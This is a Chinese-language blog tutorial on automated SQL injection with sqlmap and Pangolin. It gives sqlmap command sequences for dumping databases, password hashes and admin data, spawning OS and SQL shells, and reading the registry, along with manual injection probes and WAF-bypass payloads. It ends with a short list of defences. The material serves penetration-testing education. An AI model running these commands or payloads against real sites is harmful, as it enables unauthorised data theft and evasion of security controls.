SQL注入-自动注入(sqlmap、pangolin)

1、sqlmap自动注入

Windows运行sqlmap命令:python sqlmap.py 命令语句
Linux运行sqlmap命令:sqlmap 命令语句

1.1Sqlmap工具简介

Sqlmap是一个开放码源的渗透测试工具,它可以自动检测和利用sql注入漏洞,并且它在SecTools.ORG注入工具分类里位列第一名。
Sqlmap是基于python编写,是跨站台的,任意一台安装了python的操作系统都可以使用它。Sqlmap特点如下:
Sqlmap支持的数据库有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
sql注入类型包括sql盲注、union注入、显错式注入、时间注入、盲推理注入和堆查询注入等技术。
支持枚举用户、密码哈希、权限、角色、数据库、表和列。
支持执行任意命令。
自动识别密码加密方式,并且可以使用字典解密。
支持数据导出功能。

1.2使用Sqlmap

已知存在注入点http://www.xxser.com/user.jsp?id=1,使用sqlmap对其提取管理员数据,具体步骤如下:

  1. 判断是否存在注入点:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1”;使用-u参数指定url,如果url存在注入点,将会显示出web容器、数据库版本基本信息。
  2. 获取数据库:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1” --dbs ;使–dbs参数读取数据库,会显示所有数据库的名字。
  3. 查看当前应用程序所用数据库:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1” --current-db ;使用current-db参数列出当前应用程序所使用的数据库。
  4. 列出指定数据库的所有表:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1” --table -D “数据库名” ;使用table参数获取数据库表,-D参数指定数据库。
  5. 读取指定表中的字段名称:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1” --columns -T “表名” -D “数据名”;使用–columns参数列取字段名。
  6. 读取指定字段内容:sqlmap.py -u “http://www.xxser.com/user.jsp?id=1” --dump -C “字段名1,字段名2…” -T “表名” -D “数据库名”;–dump参数意为转存数据,-C参数指定字段名称,-T参数指定表名(如果表名是数据库关键字,建议加上[],如user->[user]),-D指定数据库名称。
    在读取数据后,sqlmap将会把数据转存到SQLMap/output/目录下,文件以“Table(表名).cvs”保存。
    通过以上6个步骤,sqlmap可以轻松地对存在注入漏洞的url读取数据。

下面是一些常用的参数用法:
(1) 测试注入点权限
Sqlmap.py -u [url] --privileges //测试所有用户的权限
sqlmap.py -u [url] - -U sa //测试sa用户的权限,sa可以改成其他用户
(2) 执行shell命令
sqlmap.py -u [url] --os-cms=”net user” //执行net user命令
sqlmap.py -u [url] --os-shell //系统交互的shell
(3) 执行sql命令
sqlmap.py -u [url] --sql-shell //返回sql交互的shell,可以执行sql命令
sqlmap.py -u [url] --sql-query=”sql”
(4) POST提交方式
sqlmap.py -u [url] --data “POST参数”l
(5) 显示详细等级
sqlmap.py -u [url] --dbs -v 1
-v参数包含以下七个等级:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug调试信息。
3、同时显示注入的payload(有效载荷)。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面的内容。
(6) 注入HTTP请求
Sqlmap.py -r head.txt --dbs //head.txt内容为HTTP请求
head.txt内容如下:
POST /login.php HTTP/1.1
Host:www.sebug.org
User-Agent:Mozilla/5.0

Username=admin&password=admin888
(7) 直接连接到数据库
Sqlmap.py -d “mysql://admin:admin@192.168.1.8:3306/testdb” --dbs
(8) 注入等级
Sqlmap.py -u [url] --level 3
(9) 将注入语句插入到指定位置
Sqlmap.py -u http://www.xxser.com/id/2*.html –dbs
有些网站采用了伪静态的页面,这时再使用sqlmap注入则无能为力了,因为sqlmap无法识别哪里是对服务器提交的请求参数,所以sqlmap提供了“”参数,将sql语句插入到指定位置,这一用法常用于伪静态注入。
同样在使用-r参数对HTTP请求注入时,也可以直接在文本框中插入
号,如:POST /login.php HTTP/1.1
Host:www.sebug.org
User-Agent:Mozilla/5.0

Username=admin*&password=admin888 //注入username字段

伪静态扩展知识:伪静态是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页被称为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。

在平时的测试过程中我们经常会看到这样一类奇特的地址:http://xxx.xxx.xx.xx:xxx/test.php/id/1.html
(原型一般为:http://xxx.xxx.xx.xx:xxx/test.php?id=1 )。像这种类型的网址URL,往往是一种伪静态网页,遇到这种情况可以直接对".html"之前的参数加“’”单引号进行判断是否存在注入!
伪静态网页的注入点查找(手工注入判断)与动态页面的判断方法是一样的:
假设url为:http://xxx.xxx.xx.xx:xxx/test.php/1.html
判断步骤:

  1. 在网址加上“’”单引号,http://xxx.xxx.xx.xx:xxx/test.php/1’.html,网页不正常显示。
  2. 在网址加上“and 1=1”,http://x xx.xxx.xx.xx:xxx/test.php/1 and 1=1.html,网页正常显示。
  3. 在网址加上“and 1=2”,http://x xx.xxx.xx.xx:xxx/test.php/1 and 1=2.html,网页不正常显示。
    由此可知该网页为为静态网页,存在sql注入漏洞。

判断一个url是否为为静态网页?
如果看到一个以.html或者.htm结尾的网页,此时可以通过呢在在地址输入框中输入:javascript:alert(document.lastModified),来得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态;因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。
(10) Sqlmap的一些信息获取
sqlmap -u [url] --users #列数据库用户
sqlmap -u [url] --passwords #数据库用户密码
sqlmap -u [url] --passwords -U root -v 0 #列出指定用户数据库密码
sqlmap -u [url] --cookie “COOKIE_VALUE” #cookie注入
sqlmap -u [url] --data “id=3” #post注入
sqlmap -u [url] -b #获取banner信息
sqlmap -u [url] --reg-read #读取win系统注册表
sqlmap -u [url] --dbs -o “sqlmap.log” #保存进度
sqlmap -u [url] --dbs -o “sqlmap.log” --resume #恢复已保存进度
(11) 使用sqlmap插件
Sqlmap.py -u [url] -temper “space2morehash.py”
Sqlmap自带非常多的插件,可针对注入的sql语句进行编码等操作,插件都保存在sqlmap目录下的temper文件夹中,这些插件通常用来绕过WAF(web application Firewalls 全称为web应用防护系统,waf针对的是应用层)
**Waf扩展知识:**WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本,但是不是100%安全的。

目前市场上的waf主要有以下几类:

  1. 基于硬件waf:绿盟waf;
  2. 基于软件waf:以安全狗为代表;
  3. 部署在云端的waf:百度加速乐、安全宝等。
    绕过waf的技术可分为以下几类:
  4. 大小写混写:
    用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过。比如拦截了union,那就使用Union、UnIoN等等绕过。
  5. 替换关键字:
    a. 关键组双写:大小写转化无法绕过,正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过。比如:UNIunionON SELselectECT 1,2,3,4
    b. 同价词替换:
    and 和or有可能不能使用,可以试试&&和||能不能使用;
    =不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那就是等于了;
    空格不能使用(常见),可以使用如下符号进行替换:%20 %09 %0a %0b %0c %0d %a0 //。
    【注释】 在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗。而在sqlserver中可以用/
    /来代替空格。
    c. 特殊字符拼接:把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接。
  6. 使用编码:
  7. url编码:在Chrome中输入一个连接,非保留字的字符串浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29等。普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:
    page.php?id=?id=1//UNION//SELECT
    经过两次解码:
    page.php?id=1%252f%252a*/UNION%252f%252a*/SELECT
  8. 十六进制编码:
  9. Unicode编码:常见的几个符号的Unicode编码:
    单引号: %u0027
    空格:%u0020
    左括号:%u0028
    右括号:%u0029
  10. 使用注释
    常见的用于注释的符号://, – , /**/, #, --+,-- -, ;,–a
  11. 普通注释:z.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4
    ’union%a0select pass from users#
    /
    /在构造得查询语句中插入注释,规避对空格的依赖或关键字识别。#、–+用于终结语句的查询。
  12. 内联注释:它有一个特性/!/只有MySQL能识别(//表示注释里面的语句会被执行)。
    index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
    ?page_id=null%0A/
    //!50000%55nIOn//yoyu/all/**/%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
    两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用。
  13. 参数污染:HPP(HTTP Parameter Polution)又称重复参数污染,最简单的就是:?uid=1&uid=2&uid=3。
  14. 缓冲区溢出:缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过。
    ?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    0xA
    1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出。
  15. 性能因素
  16. 整合绕过

此外,sqlmap还存在很多参数,详解可参照官方文档:http://github.com/sqlmapproject/sqlmap/wiki/Usages

2、Pangolin自动注入

Pangolin(穿山甲Sql注入工具)是一款十分优秀的网站安全测试工具,是目前已有的Sql注入工具中最好的之一。

Pangolin特点如下:
●全面的数据库支持,支持32位/64位Windows NT/2000/XP/2003/Vista/2008/win7系统,包括Access,DB2、Informix、Microsoft SQL Server 2000、Microsoft SQL Server 2005、Microsoft SQLServer2008、Mysql、Oracle、PostgreSQL、Sqlite3、Sybase等数据库类型。
●自动关键字分析能够减少人为操作,且更判断结果准确。
●预登陆功能,在需要验证的情况下照样注入。
●支持HTTPS。
●自定义HTTP标题头功能。
●丰富的绕过防火墙过滤功能。
●数据导出功能。
●测试过程简单、易操作
●注入站(点)管理功能
●代理支持
Pangolin与sqlmap相比,pangolin有用更人性化的GUI设计,易上手。Pangolin只是一个注入验证利用工具,不是一个web漏洞扫描软件,因此不能用它来做整网站的扫描,它也不支持注入目录便利等工具。

3、防止SQL注入

1、严格的数据类型
2、特殊字符转义
3、使用预编译语句
4、框架技术
5、存储过程
  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值